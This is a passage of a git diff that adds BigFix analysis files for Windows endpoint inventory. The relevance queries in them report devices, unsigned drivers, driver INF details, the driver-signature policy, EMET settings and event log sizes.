+    <Property ID="4" Name="names of unsigned drivers" EvaluationPeriod="PT12H">unique values of ( (tuple string item 1 of it; tuple string item 2 of it) of  concatenations &quot;&quot; of substrings separated by &quot;%22&quot; of concatenations &quot;%22, %22&quot; of (if it does not contain &quot;,&quot; then it else ( concatenations &quot;&quot; of substrings separated by &quot;,&quot; of it )) of (it as trimmed string) of substrings separated by &quot;%22,%22&quot; of it) of (it as trimmed string) of lines whose(exists (it as trimmed string) whose(it does not end with &quot;,%22Manufacturer%22&quot; AND it does not contain &quot;,%22Microsoft&quot; AND it does not contain &quot;,%22(Standard &quot; AND it does not end with &quot;,%22N/A%22&quot;)) of files &quot;info_driverquery_verbose.csv&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Devices (50).bes b/Sites/Windows Management/Fixlets/Analyses/Devices (50).bes
new file mode 100644
index 000000000..2df43a534
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Devices (50).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Devices
+  ID       : 50
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-11-29T10:32:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Devices</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 29 Nov 2012 16:33:35 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Active Devices" EvaluationPeriod="P7D">(if exists ( position 1000 of it ) then ( preceding text of position 1000 of it ) else it) of concatenation &quot;, &quot; of unique values of friendly names whose (it as string does not contain &quot;ATA Channel&quot; AND it as string does not contain &quot; (LPT&quot; AND it as string does not contain &quot; (COM&quot; AND it as string does not contain &quot;Pseudo-Interface&quot; AND it as string does not contain &quot;Microsoft ISATAP&quot; AND it as string does not contain &quot;VirtualBox&quot; AND (it as string does not contain &quot;Miniport&quot; OR it as string contains &quot;Intel&quot;)) of active devices</Property>
+    <Property ID="2" Name="Bluetooth" EvaluationPeriod="P2D">if exists (friendly names whose (it contains &quot;Bluetooth&quot;) of active devices) then (concatenation &quot;, &quot; of unique values of friendly names whose (it contains &quot;Bluetooth&quot;) of active devices) else &quot;No Bluetooth installed&quot;</Property>
+    <Property ID="3" Name="Inactive Devices" EvaluationPeriod="P2D">concatenation &quot;, &quot; of unique values of ((if (exists property &quot;Name&quot; of it) then property &quot;Name&quot; of it as string else &quot;&lt;none&gt;&quot;) &amp; &quot; - &quot; &amp; property &quot;DeviceID&quot; of it as string) of select objects &quot;Name,DeviceID FROM Win32_PnPEntity WHERE ConfigManagerErrorCode &lt;&gt; 0&quot; of wmi</Property>
+    <Property ID="4" Name="Video Card" EvaluationPeriod="P7D">concatenation &quot;, &quot; of unique values of (selects &quot;Name, DriverVersion, AdapterRam from Win32_VideoController&quot; of wmi as string)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Devices - Windows (2994709).bes b/Sites/Windows Management/Fixlets/Analyses/Devices - Windows (2994709).bes
new file mode 100644
index 000000000..86b8ae606
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Devices - Windows (2994709).bes	
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Devices - Windows
+  ID       : 2994709
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-09-03T11:47:03
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Devices - Windows</Title>
+    <Description><![CDATA[<P>This is a work in progress.</P>
+<P>This analysis attempts to pull back a lot of data about devices on a Windows system.</P>
+<P>Latest version found here: <A href="http://bigfix.me/analysis/details/2994593"><FONT color=#000080>http://bigfix.me/analysis/details/2994593</FONT></A></P>
+<P>See this relevance for raw data from the "active devices" inspector: <A href="http://bigfix.me/relevance/details/2998470"><FONT color=#000080>http://bigfix.me/relevance/details/2998470</FONT></A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists wmi) OR (exists active devices)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 25 Aug 2014 19:58:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Active Devices" EvaluationPeriod="P2D">unique values of friendly names whose (it as string does not contain &quot;ATA Channel&quot; AND it as string does not contain &quot; (LPT&quot; AND it as string does not contain &quot; (COM&quot; AND it as string does not contain &quot;Pseudo-Interface&quot; AND it as string does not contain &quot;Microsoft ISATAP&quot; AND it as string does not contain &quot;VirtualBox&quot; AND (it as string does not contain &quot;Miniport&quot; OR it as string contains &quot;Intel&quot;)) of active devices</Property>
+    <Property ID="2" Name="Bluetooth" EvaluationPeriod="P2D">if exists (friendly names whose (it as lowercase contains &quot;bluetooth&quot;) of active devices) then (unique values of friendly names whose (it as lowercase contains &quot;bluetooth&quot;) of active devices) else ERROR &quot;no Bluetooth installed&quot;</Property>
+    <Property ID="3" Name="Inactive Devices" EvaluationPeriod="P2D">concatenation &quot;, &quot; of unique values of ((if (exists property &quot;Name&quot; of it) then property &quot;Name&quot; of it as string else &quot;&lt;none&gt;&quot;) &amp; &quot; - &quot; &amp; property &quot;DeviceID&quot; of it as string) of select objects &quot;Name,DeviceID FROM Win32_PnPEntity WHERE ConfigManagerErrorCode &lt;&gt; 0&quot; of wmi</Property>
+    <Property ID="4" Name="Video Card (WMI)" EvaluationPeriod="P2D">concatenation &quot;, &quot; of unique values of (selects &quot;Name, DriverVersion, AdapterRam from Win32_VideoController&quot; of wmi as string)</Property>
+    <Property ID="5" Name="OEM INF info" EvaluationPeriod="P7D">((name of it), following texts of firsts &quot;=&quot; of unique values whose(it as lowercase does not contain &quot;%25provider%25&quot; AND it as lowercase does not contain &quot;%25providername%25&quot;) of (lines whose(it as string as lowercase starts with &quot;provider&quot;) of it as string) as trimmed string, following texts of firsts &quot;=&quot; of unique values of (lines whose(it as string as lowercase starts with &quot;class&quot; AND it as string as lowercase does not start with &quot;classguid&quot;) of it as string) as trimmed string, unique values of (lines whose(it as string as lowercase starts with &quot;driverver&quot; AND it as string as lowercase does not start with &quot;driverversion&quot;) of it as string)) of (files whose(name of it as lowercase starts with &quot;oem&quot; AND name of it as lowercase ends with &quot;.inf&quot;) of folder &quot;Inf&quot; of windows folder)</Property>
+    <Property ID="6" Name="# of OEM INFs" EvaluationPeriod="P2D">number of files whose(name of it as lowercase starts with &quot;oem&quot; AND name of it as lowercase ends with &quot;.inf&quot;) of folder &quot;Inf&quot; of windows folder</Property>
+    <Property ID="7" Name="USB Devices (WMI)" EvaluationPeriod="P2D">/* Warning: This is very slow, and not recommended for use within a fixlet&apos;s or task&apos;s relevance! */ unique values of (string values whose (it != &quot;Generic volume&quot; AND it != &quot;HID-compliant consumer control device&quot; AND it != &quot;HID-compliant device&quot; AND it != &quot;USB Composite Device&quot; AND it != &quot;Generic USB Hub&quot; AND it != &quot;USB Input Device&quot; AND it does not start with &quot;USB Root Hub&quot;) of selects ((&quot;Caption from Win32_PnPEntity where DeviceID=&apos;&quot; &amp; it as string &amp; &quot;&apos;&quot;) of preceding texts of lasts &quot;%22&quot; of following texts of lasts &quot;=%22&quot; of (string values of selects &quot;Dependent from Win32_USBControllerDevice&quot; of wmi )) of wmi)</Property>
+    <Property ID="8" Name="PCI Devices (WMI)" EvaluationPeriod="P2D">/* Warning: This is very slow, and not recommended for use within a fixlet&apos;s or task&apos;s relevance! */ unique values of ((if (it starts with &quot;Intel&quot; OR it starts with &quot;Xeon&quot;) then (preceding texts of lasts &quot; - &quot; of it) else it) of string values of selects ((&quot;Caption from Win32_PnPEntity where DeviceID=&apos;&quot; &amp; it as string &amp; &quot;&apos;&quot;) of ((parenthesized part 1 of (matches (regex &quot;^Win32_PnPEntity\.DeviceID\=\%22(.*)\%22&quot;) of string values of it)) of properties whose(string value of it contains &quot;DeviceID=&quot;) of select objects (&quot;DeviceID from Win32_PnPEntity &quot;) of WMI) whose(it starts with &quot;PCI\\VEN_&quot;)) of wmi)</Property>
+    <Property ID="9" Name="All Devices (WMI)" EvaluationPeriod="P2D">/* Warning: This is slow, and not recommended for use within a fixlet&apos;s or task&apos;s relevance! */ unique values of (string values whose (it does not start with &quot;WAN Miniport (&quot; AND it does not start with &quot;Generic volume&quot; AND it != &quot;HID-compliant consumer control device&quot; AND it != &quot;HID-compliant device&quot; AND it != &quot;USB Composite Device&quot; AND it != &quot;Generic USB Hub&quot; AND it != &quot;USB Input Device&quot; AND it does not start with &quot;USB Root Hub&quot;) of selects (&quot;Caption from Win32_PnPEntity&quot;) of wmi)</Property>
+    <Property ID="10" Name="# of devices" EvaluationPeriod="P2D">unique values of (number of active devices; number of (selects (&quot;DeviceID from Win32_PnPEntity&quot;) of wmi))</Property>
+    <Property ID="11" Name="Webcams" EvaluationPeriod="P2D">unique values of friendly names whose(it as lowercase contains &quot;cam&quot;) of active devices</Property>
+    <Property ID="12" Name="Imaging Devices" EvaluationPeriod="P2D">unique values of friendly names of active devices whose(class of it = &quot;Image&quot;)</Property>
+    <Property ID="13" Name="Batteries" EvaluationPeriod="P2D">(if it = 0 then nothing else it) of number of active devices whose(class of it = &quot;Battery&quot;)</Property>
+    <Property ID="14" Name="Webcams &amp; Imaging Devices" EvaluationPeriod="P2D">unique values of ((descriptions of active devices whose(description of it as lowercase contains &quot;cam&quot;));((if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Image&quot;));(friendly names of active devices whose(friendly name of it as lowercase contains &quot;cam&quot;)))</Property>
+    <Property ID="15" Name="Microphones" EvaluationPeriod="P2D">(preceding texts of lasts &quot;)&quot; of following texts of firsts &quot;(&quot; of it) of friendly names whose(it starts with &quot;Microphone&quot; AND it does not contain &quot;High Definition Audio Device&quot; AND it does not contain &quot;IDT High Definition Audio CODEC&quot; AND it does not contain &quot;Realtek High Definition Audio&quot;) of active devices whose(class of it = &quot;AudioEndpoint&quot;)</Property>
+    <Property ID="16" Name="Video Cards" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Display&quot;)</Property>
+    <Property ID="17" Name="Keyboards" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Keyboard&quot;)</Property>
+    <Property ID="18" Name="USB Audio" EvaluationPeriod="P2D">(if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;MEDIA&quot; AND service key value name of it = &quot;usbaudio&quot;)</Property>
+    <Property ID="19" Name="Monitors" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Monitor&quot;)</Property>
+    <Property ID="20" Name="Printers ???" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Printer&quot;)</Property>
+    <Property ID="21" Name="Security Devices (TPM)" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;SecurityDevices&quot;)</Property>
+    <Property ID="22" Name="# of Monitors" EvaluationPeriod="P2D">number of active devices whose(class of it = &quot;Monitor&quot;)</Property>
+    <Property ID="23" Name="HardwareIDs of Active Devices" EvaluationPeriod="P2D">unique values of hardware ids of active devices</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Distinguished Name of User (2998580).bes b/Sites/Windows Management/Fixlets/Analyses/Distinguished Name of User (2998580).bes
new file mode 100644
index 000000000..2a8f547b3
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Distinguished Name of User (2998580).bes	
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Distinguished Name of User
+  ID       : 2998580
+  Author   : khurlbert
+  Domain   : BESC
+  Imported : 2018-01-11T14:08:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Distinguished Name of User</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>Product type of operating system = NT Workstation product type</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 11 Jan 2018 21:02:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="UserName">if(exists logged on users of active directory) then preceding text of first &quot;OU=&quot; of distinguished name of (logged on users whose (name of it = name of current user) of active directory) else if exists current users then &quot;local user&quot; else &quot;none&quot; </Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Driver Audit - Windows (2994712).bes b/Sites/Windows Management/Fixlets/Analyses/Driver Audit - Windows (2994712).bes
new file mode 100644
index 000000000..6db567d43
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Driver Audit - Windows (2994712).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Driver Audit - Windows
+  ID       : 2994712
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-09-03T11:51:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Driver Audit - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 28 Aug 2014 15:31:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="5" Name="Number of EPSON trusted publisher certs" EvaluationPeriod="P1D">number of (it) whose(it contains &quot;5345494b4f204550534f4e&quot;) of (values &quot;Blob&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates&quot; of native registry as string)</Property>
+    <Property ID="6" Name="(#, Description) of supported models of installed logitech drivers" EvaluationPeriod="P1D">(multiplicity of it, it) of unique values of (&quot;Logitech &quot; &amp; (it as string)) of (if (it starts with &quot;Logitech &quot;) then (following text of first &quot;Logitech &quot; of it) else it) of (if (it contains &quot;Logitech QuickCam Pro &quot;) then (following text of first &quot;Logitech QuickCam &quot; of it) else it) of (if (it contains &quot;Webcam &quot;) then (following text of first &quot;Webcam &quot; of it) else it) of (if (it contains &quot;)&quot;) then (preceding text of last &quot;)&quot; of it) else it) of (if (it contains &quot;(&quot;) then (following text of first &quot;(&quot; of it) else it) of (preceding text of last &quot;%22&quot; of following text of first &quot;%22&quot; of following text of first &quot;=&quot; of it) of items 3 of (item 0 of it, item 1 of it, minimum of line numbers of item 2 of it, lines of item 0 of it) whose(((item 1 of it) &lt; line number of item 3 of it) AND ((item 2 of it) &gt; (line number of item 3 of it)) AND (item 3 of it contains &quot;PID_&quot;)) of (item 0 of it, item 1 of it, lines whose(it starts with &quot;[&quot; AND it ends with &quot;]&quot;) of item 0 of it) whose(item 1 of it &lt; line number of item 2 of it) of (it, line number of line whose(it starts with &quot;[Strings]&quot;) of it) of items 0 whose(content of it contains &quot;Logitech&quot;) of (files of item 0 of it, item 1 of it) whose(name of item 0 of it as lowercase = item 1 of it) of (it, (it &amp; &quot;.inf&quot;) of preceding text of first &quot;.inf&quot; of (name of it as lowercase)) of folders whose( ((name of it as lowercase starts with &quot;lv&quot;) OR (name of it as lowercase starts with &quot;lpro&quot;)) AND (name of it as lowercase contains &quot;.inf&quot;) ) of folders &quot;DriverStore\FileRepository&quot; of system x64 folder</Property>
+    <Property ID="7" Name="Names of Scanners of Epson Drivers currently installed in system" EvaluationPeriod="PT12H">keys &quot;DSName&quot; of sections &quot;Strings&quot; of items 0 of (files of item 0 of it, item 1 of it) whose(name of item 0 of it as lowercase = item 1 of it) of (it, (it &amp; &quot;.inf&quot;) of preceding text of first &quot;.inf&quot; of (name of it as lowercase)) of folders whose((name of it as lowercase starts with &quot;es&quot;) AND (name of it as lowercase contains &quot;.inf&quot;)) of folders &quot;DriverStore\FileRepository&quot; of system x64 folder</Property>
+    <Property ID="8" Name="NVIDIA" EvaluationPeriod="P2D">unique values of (it as trimmed string) of (preceding text of last &quot;%22&quot; of following text of first &quot;%22&quot; of it) of lines whose(it starts with &quot;NVIDIA_DEV&quot;) of files whose(name of it as lowercase ends with &quot;.inf&quot;) of folders whose(name of it as lowercase starts with &quot;nvlewu&quot;) of folders &quot;DriverStore\FileRepository&quot; of system folder</Property>
+    <Property ID="9" Name="Intel" EvaluationPeriod="P2D">unique values of (it as trimmed string) of (preceding text of last &quot;%22&quot; of following text of first &quot;%22&quot; of it) of (concatenation of characters whose (it != &quot;%00&quot;) of it) of lines whose(exists (concatenation of characters whose (it != &quot;%00&quot;) of it) whose(it starts with &quot;i&quot; AND it contains &quot;Intel(R) &quot;)) of files whose(name of it as lowercase ends with &quot;.inf&quot;) of folders whose(name of it as lowercase starts with &quot;igdlh&quot;) of folders &quot;DriverStore\FileRepository&quot; of system folder</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Drivers - Windows (2998242).bes b/Sites/Windows Management/Fixlets/Analyses/Drivers - Windows (2998242).bes
new file mode 100644
index 000000000..1ccc91fe5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Drivers - Windows (2998242).bes	
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Drivers - Windows
+  ID       : 2998242
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:50:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Drivers - Windows</Title>
+    <Description><![CDATA[This analysis covers the action that Windows takes when loading drivers with invalid or missing digital signatures as well as the install printer drivers on the system.
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance><![CDATA[windows of operating system and version of operating system >= "5.1"]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Drivers - Behavior on Signature Failure - Windows" EvaluationPeriod="P1D">(if (it = &quot;00&quot;) then (&quot;Ignore&quot;) else (if (it = &quot;01&quot;) then &quot;Warn&quot; else &quot;Block&quot;)) of (value &quot;Policy&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Non-Driver Signing&quot; of native registry as string)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/EMET - Configuration - Windows (2998302).bes b/Sites/Windows Management/Fixlets/Analyses/EMET - Configuration - Windows (2998302).bes
new file mode 100644
index 000000000..023e8ea2b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/EMET - Configuration - Windows (2998302).bes	
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : EMET - Configuration - Windows
+  ID       : 2998302
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:03:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>EMET - Configuration - Windows</Title>
+    <Description><![CDATA[<P>This analysis covers various details of the currently deployed EMET configuration.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/EMET">https://github.com/strawgate/C3-Protect/wiki/EMET</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry</Relevance>
+    <Relevance>exists service &quot;EMET_SERVICE&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="EMET - Mitigated Applications - Windows" EvaluationPeriod="PT6H">(name of it, it) of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry</Property>
+    <Property ID="2" Name="EMET - Service State - Windows" EvaluationPeriod="P1D">state of service &quot;EMET_Service&quot;</Property>
+    <Property ID="3" Name="EMET - Version - Windows" EvaluationPeriod="P1D">version of service &quot;EMET_Service&quot;</Property>
+    <Property ID="4" Name="EMET - Sites with Certificate Pinning - Windows" EvaluationPeriod="P1D">(name of it, it) of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\CertPinning\Sites&quot; of native registry</Property>
+    <Property ID="5" Name="EMET - Anti-Detours Mitigation - Windows" EvaluationPeriod="P1D">(if (value &quot;AntiDetours&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Enabled&quot; else &quot;Disabled&quot;) | &quot;Disabled&quot;</Property>
+    <Property ID="6" Name="EMET - Banned Functions Mitigation - Windows" EvaluationPeriod="P1D">(if (value &quot;BannedFunctions&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Enabled&quot; else &quot;Disabled&quot;) | &quot;Disabled&quot;</Property>
+    <Property ID="7" Name="EMET - Deep Hooks Mitigation - Windows" EvaluationPeriod="P1D">(if (value &quot;DeepHooks&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Enabled&quot; else &quot;Disabled&quot;) | &quot;Disabled&quot;</Property>
+    <Property ID="8" Name="EMET - Unsafe Settings Available - Windows" EvaluationPeriod="P1D">(if (value &quot;EnableUnsafeSettings&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Enabled&quot; else &quot;Disabled&quot;) | &quot;Disabled&quot;</Property>
+    <Property ID="9" Name="EMET - Exploit Action - Windows" EvaluationPeriod="P1D">(if (value &quot;ExploitAction&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry = 1) then &quot;Kill Process&quot; else &quot;Audit&quot;) | &quot;audit&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/EMET - Logs - Windows (2998438).bes b/Sites/Windows Management/Fixlets/Analyses/EMET - Logs - Windows (2998438).bes
new file mode 100644
index 000000000..30038e56c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/EMET - Logs - Windows (2998438).bes	
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : EMET - Logs - Windows
+  ID       : 2998438
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-29T11:24:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>EMET - Logs - Windows</Title>
+    <Description><![CDATA[<P>This analysis provides information on EMET Mitigations Fired</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/EMET">https://github.com/strawgate/C3-Protect/wiki/EMET</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;EMET_SERVICE&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="EMET - Mitigated Events - Windows" EvaluationPeriod="PT1H">(time generated of it, description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) whose (source of it = &quot;EMET&quot; and (event id of it = 2 or event id of it = 1)) of application event log</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Event Log - Windows (2998243).bes b/Sites/Windows Management/Fixlets/Analyses/Event Log - Windows (2998243).bes
new file mode 100644
index 000000000..e06f6ae04
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Event Log - Windows (2998243).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Event Log - Windows
+  ID       : 2998243
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:50:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Event Log - Windows</Title>
+    <Description><![CDATA[Learn more about this analysis online: <A href="http://bigfix.me/cdb/analysis/2995921">http://bigfix.me/cdb/analysis/2995921</A><BR><BR>Pulls the maximum size of various event logs from the Windows Registry and formats them as megabytes
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system >= "6.0"]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Event Log - Security Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\Security&quot; of registry) as string as integer / 1024 / 1024</Property>
+    <Property ID="2" Name="Event Log - Hardware Events Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\HardwareEvents&quot; of registry) as string as integer / 1024 / 1024</Property>
+    <Property ID="4" Name="Event Log - Key Management Service Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\Key Management Service&quot; of registry) as string as integer / 1024 / 1024</Property>
+    <Property ID="5" Name="Event Log - System Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\System&quot; of registry) as string as integer / 1024 / 1024</Property>
+    <Property ID="6" Name="Event Log - Powershell - Max Size (MB) - Windows" EvaluationPeriod="P1D">(value &quot;MaxSize&quot; of key &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\EventLog\Windows PowerShell&quot; of registry) as string as integer / 1024 / 1024</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/File System Configuration Audit - Windows (2994783).bes b/Sites/Windows Management/Fixlets/Analyses/File System Configuration Audit - Windows (2994783).bes
new file mode 100644
index 000000000..6edca0c23
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/File System Configuration Audit - Windows (2994783).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : File System Configuration Audit - Windows
+  ID       : 2994783
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T09:03:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>File System Configuration Audit - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 08 Sep 2014 18:20:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
